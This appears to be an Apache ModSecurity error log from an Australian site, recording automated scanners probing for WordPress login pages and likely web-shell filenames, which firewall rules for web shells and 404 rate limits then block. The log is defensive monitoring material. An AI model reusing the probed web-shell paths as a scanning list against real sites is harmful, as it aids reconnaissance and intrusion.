[Wed Apr 01 01:42:23.190476 2026] [:error] [pid 52836:tid 52915] [client 144.172.106.121:38908] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "acwHf5jk_YTY8bXnEz5DeQAAAFc"]
[Wed Apr 01 01:42:27.336701 2026] [:error] [pid 52593:tid 52683] [client 144.172.106.121:38910] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "acwHg-KOtxqtcDhRtD-M2wAAAIk"]
[Wed Apr 01 01:42:31.386919 2026] [:error] [pid 52836:tid 52894] [client 144.172.106.121:43018] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "acwHh5jk_YTY8bXnEz5DowAAAEI"]
[Wed Apr 01 01:42:58.593006 2026] [:error] [pid 52594:tid 52718] [client 144.172.106.121:43028] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp.php"] [unique_id "acwHoke53suVMS91e0QtJQAAANE"]
[Wed Apr 01 01:43:05.642443 2026] [:error] [pid 52593:tid 52685] [client 144.172.106.121:44842] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/hoot.php"] [unique_id "acwHqeKOtxqtcDhRtD-NHgAAAIs"]
[Wed Apr 01 01:43:11.330843 2026] [:error] [pid 52593:tid 52693] [client 144.172.106.121:33642] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/userfuns.php"] [unique_id "acwHr-KOtxqtcDhRtD-NLAAAAJM"]
[Wed Apr 01 01:43:17.029150 2026] [:error] [pid 52836:tid 52906] [client 144.172.106.121:33646] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "acwHtZjk_YTY8bXnEz5EJwAAAE4"]
[Wed Apr 01 01:43:24.894501 2026] [:error] [pid 52836:tid 52908] [client 144.172.106.121:59662] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/inputs.php"] [unique_id "acwHvJjk_YTY8bXnEz5EQAAAAFA"]
[Wed Apr 01 01:43:26.221471 2026] [:error] [pid 52836:tid 52898] [client 144.172.106.121:59664] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acwHvpjk_YTY8bXnEz5ERQAAAEY"]
[Wed Apr 01 01:43:32.018129 2026] [:error] [pid 52593:tid 52688] [client 144.172.106.121:36194] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/about.php"] [unique_id "acwHxOKOtxqtcDhRtD-NPwAAAI4"]
[Wed Apr 01 01:43:33.491575 2026] [:error] [pid 52592:tid 52657] [client 144.172.106.121:36210] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-blog-header.php"] [unique_id "acwHxT-61iqkPKUhqlbbagAAAAo"]
[Wed Apr 01 01:43:36.767144 2026] [:error] [pid 52836:tid 52915] [client 144.172.106.121:36224] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/edit-tags.php"] [unique_id "acwHyJjk_YTY8bXnEz5EXAAAAFc"]
[Wed Apr 01 01:43:41.658742 2026] [:error] [pid 52593:tid 52679] [client 144.172.106.121:43826] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp.php"] [unique_id "acwHzeKOtxqtcDhRtD-NVwAAAIU"]
[Wed Apr 01 01:43:44.358281 2026] [:error] [pid 52836:tid 52897] [client 144.172.106.121:43832] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/hoot.php"] [unique_id "acwH0Jjk_YTY8bXnEz5EagAAAEU"]
[Wed Apr 01 01:43:50.030291 2026] [:error] [pid 52836:tid 52898] [client 144.172.106.121:43834] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/userfuns.php"] [unique_id "acwH1pjk_YTY8bXnEz5EeAAAAEY"]
[Wed Apr 01 01:43:51.790174 2026] [:error] [pid 52594:tid 52716] [client 144.172.106.121:49114] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "acwH10e53suVMS91e0QtlgAAAM8"]
[Wed Apr 01 01:43:53.885479 2026] [:error] [pid 52592:tid 52659] [client 144.172.106.121:49118] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/inputs.php"] [unique_id "acwH2T-61iqkPKUhqlbboAAAAAw"]
[Wed Apr 01 01:43:58.522427 2026] [:error] [pid 52594:tid 52725] [client 144.172.106.121:49128] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "acwH3ke53suVMS91e0QtrgAAANg"]
[Wed Apr 01 01:43:59.864461 2026] [:error] [pid 52592:tid 52663] [client 144.172.106.121:49132] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "acwH3z-61iqkPKUhqlbbtAAAABA"]
[Wed Apr 01 01:44:02.444595 2026] [:error] [pid 52836:tid 52903] [client 144.172.106.121:33822] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-blog-header.php"] [unique_id "acwH4pjk_YTY8bXnEz5EnQAAAEs"]
[Wed Apr 01 01:44:04.626208 2026] [:error] [pid 52593:tid 52695] [client 144.172.106.121:33826] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "acwH5OKOtxqtcDhRtD-NaAAAAJU"]
[Wed Apr 01 01:44:07.126489 2026] [:error] [pid 52593:tid 52676] [client 144.172.106.121:33830] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp.php"] [unique_id "acwH5-KOtxqtcDhRtD-NbQAAAII"]
[Wed Apr 01 01:44:10.511040 2026] [:error] [pid 52836:tid 52896] [client 144.172.106.121:53890] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/hoot.php"] [unique_id "acwH6pjk_YTY8bXnEz5ErgAAAEQ"]
[Wed Apr 01 01:44:12.652437 2026] [:error] [pid 52836:tid 52912] [client 144.172.106.121:53900] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/userfuns.php"] [unique_id "acwH7Jjk_YTY8bXnEz5EswAAAFQ"]
[Wed Apr 01 01:44:14.792986 2026] [:error] [pid 52594:tid 52712] [client 144.172.106.121:53908] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-login.php"] [unique_id "acwH7ke53suVMS91e0QtzgAAAMs"]
[Wed Apr 01 01:44:43.506037 2026] [:error] [pid 52836:tid 52895] [client 144.172.106.121:45590] [client 144.172.106.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.172.106.121, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2024/wp-login.php"] [unique_id "acwIC5jk_YTY8bXnEz5FJwAAAEM"]
[Wed Apr 01 01:44:47.969324 2026] [:error] [pid 52836:tid 52902] [client 144.172.106.121:45590] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/about.php"] [unique_id "acwID5jk_YTY8bXnEz5FOwAAAEo"]
[Wed Apr 01 01:44:49.344424 2026] [:error] [pid 52836:tid 52902] [client 144.172.106.121:38828] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/wp-blog-header.php"] [unique_id "acwIEZjk_YTY8bXnEz5FSgAAAEo"]
[Wed Apr 01 01:44:50.917924 2026] [:error] [pid 52836:tid 52900] [client 144.172.106.121:38840] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/edit-tags.php"] [unique_id "acwIEpjk_YTY8bXnEz5FWgAAAEg"]
[Wed Apr 01 01:44:54.546290 2026] [:error] [pid 52836:tid 52908] [client 144.172.106.121:38842] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/wp.php"] [unique_id "acwIFpjk_YTY8bXnEz5FdQAAAFA"]
[Wed Apr 01 01:44:55.914829 2026] [:error] [pid 52592:tid 52650] [client 144.172.106.121:38858] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/hoot.php"] [unique_id "acwIFz-61iqkPKUhqlbcHwAAAAM"]
[Wed Apr 01 01:44:59.534335 2026] [:error] [pid 52592:tid 52656] [client 144.172.106.121:38874] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/userfuns.php"] [unique_id "acwIGz-61iqkPKUhqlbcLgAAAAk"]
[Wed Apr 01 01:45:02.413099 2026] [:error] [pid 52836:tid 52895] [client 144.172.106.121:40976] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/wp-login.php"] [unique_id "acwIHpjk_YTY8bXnEz5FngAAAEM"]
[Wed Apr 01 02:51:10.655729 2026] [:error] [pid 52592:tid 52663] [client 20.91.204.128:60992] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-Blogs.php
[Wed Apr 01 02:51:10.655732 2026] [:error] [pid 52594:tid 52715] [client 20.91.204.128:1687] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-Blogs.php
[Wed Apr 01 02:51:10.655732 2026] [:error] [pid 52593:tid 52682] [client 20.91.204.128:61037] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-Blogs.php
[Wed Apr 01 05:29:38.064004 2026] [:error] [pid 24346:tid 24354] [client 4.205.39.97:5842] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Wed Apr 01 05:29:38.274696 2026] [:error] [pid 24346:tid 24361] [client 4.205.39.97:5842] File does not exist: /usr/local/apache/htdocs/suspended-page/tpohkzxw.php, referer: www.google.com
[Wed Apr 01 05:29:42.112393 2026] [:error] [pid 23715:tid 23761] [client 4.205.39.97:55707] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Wed Apr 01 05:29:43.606602 2026] [:error] [pid 23715:tid 23772] [client 4.205.39.97:55707] File does not exist: /usr/local/apache/htdocs/suspended-page/srteblib.php, referer: www.google.com
[Wed Apr 01 06:05:31.409675 2026] [:error] [pid 23714:tid 23741] [client 4.205.39.97:25771] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Wed Apr 01 06:05:31.620167 2026] [:error] [pid 23714:tid 23755] [client 4.205.39.97:25771] File does not exist: /usr/local/apache/htdocs/suspended-page/spljghba.php, referer: www.google.com
[Wed Apr 01 06:05:35.251573 2026] [:error] [pid 23715:tid 23774] [client 4.205.39.97:25762] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Wed Apr 01 06:05:35.463118 2026] [:error] [pid 23715:tid 23764] [client 4.205.39.97:25762] File does not exist: /usr/local/apache/htdocs/suspended-page/mjyjworc.php, referer: www.google.com
[Wed Apr 01 06:32:27.704783 2026] [:error] [pid 23819:tid 23826] [client 20.194.110.188:5489] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Wed Apr 01 06:32:27.848469 2026] [:error] [pid 23819:tid 23846] [client 20.194.110.188:5489] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Wed Apr 01 06:32:28.014607 2026] [:error] [pid 23819:tid 23845] [client 20.194.110.188:5489] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Wed Apr 01 06:32:28.158204 2026] [:error] [pid 23819:tid 23843] [client 20.194.110.188:5489] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Wed Apr 01 06:32:28.444728 2026] [:error] [pid 23819:tid 23827] [client 20.194.110.188:5489] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Wed Apr 01 06:32:28.591253 2026] [:error] [pid 23819:tid 23830] [client 20.194.110.188:5489] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Wed Apr 01 06:32:28.734136 2026] [:error] [pid 23819:tid 23828] [client 20.194.110.188:5489] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Wed Apr 01 06:32:29.037389 2026] [:error] [pid 23819:tid 23838] [client 20.194.110.188:5489] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Wed Apr 01 06:32:29.180617 2026] [:error] [pid 23819:tid 23822] [client 20.194.110.188:5489] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Wed Apr 01 06:32:29.319933 2026] [:error] [pid 23819:tid 23825] [client 20.194.110.188:5489] [client 20.194.110.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "acxLfddfUS_37wFAM77l7AAAAMM"]
[Wed Apr 01 06:32:29.890411 2026] [:error] [pid 23715:tid 23767] [client 20.194.110.188:5470] [client 20.194.110.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "acxLfa-REzOruNbiT9xIjQAAAEY"]
[Wed Apr 01 06:32:30.439354 2026] [:error] [pid 23714:tid 23735] [client 20.194.110.188:5420] [client 20.194.110.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "acxLfkHxDDU2ETcG9DTNgQAAAAE"]
[Wed Apr 01 06:32:31.018846 2026] [:error] [pid 23715:tid 23777] [client 20.194.110.188:5457] [client 20.194.110.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "acxLf6-REzOruNbiT9xIjgAAAFA"]
[Wed Apr 01 09:12:55.282245 2026] [:error] [pid 24314:tid 24333] [client 20.116.48.67:38911] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Wed Apr 01 09:12:55.496696 2026] [:error] [pid 24314:tid 24322] [client 20.116.48.67:38911] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Wed Apr 01 09:12:55.921118 2026] [:error] [pid 24314:tid 24323] [client 20.116.48.67:38911] File does not exist: /usr/local/apache/htdocs/suspended-page/ad1.php
[Wed Apr 01 09:12:56.132803 2026] [:error] [pid 24314:tid 24321] [client 20.116.48.67:38911] File does not exist: /usr/local/apache/htdocs/suspended-page/wefile.php
[Wed Apr 01 09:12:56.344747 2026] [:error] [pid 24314:tid 24319] [client 20.116.48.67:38911] File does not exist: /usr/local/apache/htdocs/suspended-page/tanjiro.php
[Wed Apr 01 09:12:56.556870 2026] [:error] [pid 24314:tid 24338] [client 20.116.48.67:38911] File does not exist: /usr/local/apache/htdocs/suspended-page/7logs.php
[Wed Apr 01 09:12:56.768698 2026] [:error] [pid 24314:tid 24320] [client 20.116.48.67:38911] File does not exist: /usr/local/apache/htdocs/suspended-page/file22.php
[Wed Apr 01 09:12:56.980601 2026] [:error] [pid 24314:tid 24325] [client 20.116.48.67:38911] File does not exist: /usr/local/apache/htdocs/suspended-page/inwp.php
[Wed Apr 01 09:12:57.201580 2026] [:error] [pid 24314:tid 24340] [client 20.116.48.67:38911] File does not exist: /usr/local/apache/htdocs/suspended-page/ca4.php
[Wed Apr 01 09:12:57.415443 2026] [:error] [pid 24314:tid 24331] [client 20.116.48.67:38911] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nz.php"] [unique_id "acxxGZRF3FCzjmMUX5YFgwAAAQ0"]
[Wed Apr 01 09:12:58.842869 2026] [:error] [pid 23715:tid 23782] [client 20.116.48.67:38874] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nz.php"] [unique_id "acxxGq-REzOruNbiT9yNIAAAAFU"]
[Wed Apr 01 09:13:00.270161 2026] [:error] [pid 24346:tid 24361] [client 20.116.48.67:38898] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nz.php"] [unique_id "acxxHLc1l8kg9MhGHIKwlgAAAUk"]
[Wed Apr 01 09:13:01.710608 2026] [:error] [pid 24348:tid 24392] [client 20.116.48.67:38878] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nz.php"] [unique_id "acxxHW0Vs69Y5nF1HA8PqgAAAY0"]
[Wed Apr 01 09:13:03.139058 2026] [:error] [pid 23819:tid 23846] [client 20.116.48.67:38893] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bnn_.php"] [unique_id "acxxH9dfUS_37wFAM74HBgAAANg"]
[Wed Apr 01 09:13:04.586728 2026] [:error] [pid 24348:tid 24387] [client 20.116.48.67:38883] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bnn_.php"] [unique_id "acxxIG0Vs69Y5nF1HA8PtgAAAYg"]
[Wed Apr 01 09:13:06.050325 2026] [:error] [pid 24314:tid 24324] [client 20.116.48.67:38867] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bnn_.php"] [unique_id "acxxIpRF3FCzjmMUX5YFjAAAAQY"]
[Wed Apr 01 09:13:07.491588 2026] [:error] [pid 24314:tid 24335] [client 20.116.48.67:38859] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bnn_.php"] [unique_id "acxxI5RF3FCzjmMUX5YFjQAAARE"]
